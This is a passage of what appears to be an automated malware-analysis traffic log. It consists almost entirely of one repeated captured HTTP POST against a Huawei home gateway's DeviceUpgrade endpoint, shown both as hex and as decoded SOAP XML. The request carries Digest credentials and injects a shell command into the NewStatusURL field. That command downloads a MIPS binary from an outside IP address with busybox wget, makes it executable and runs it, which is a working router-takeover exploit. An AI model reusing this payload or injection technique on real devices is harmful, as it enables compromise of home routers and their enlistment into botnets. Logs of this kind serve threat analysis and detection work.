30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 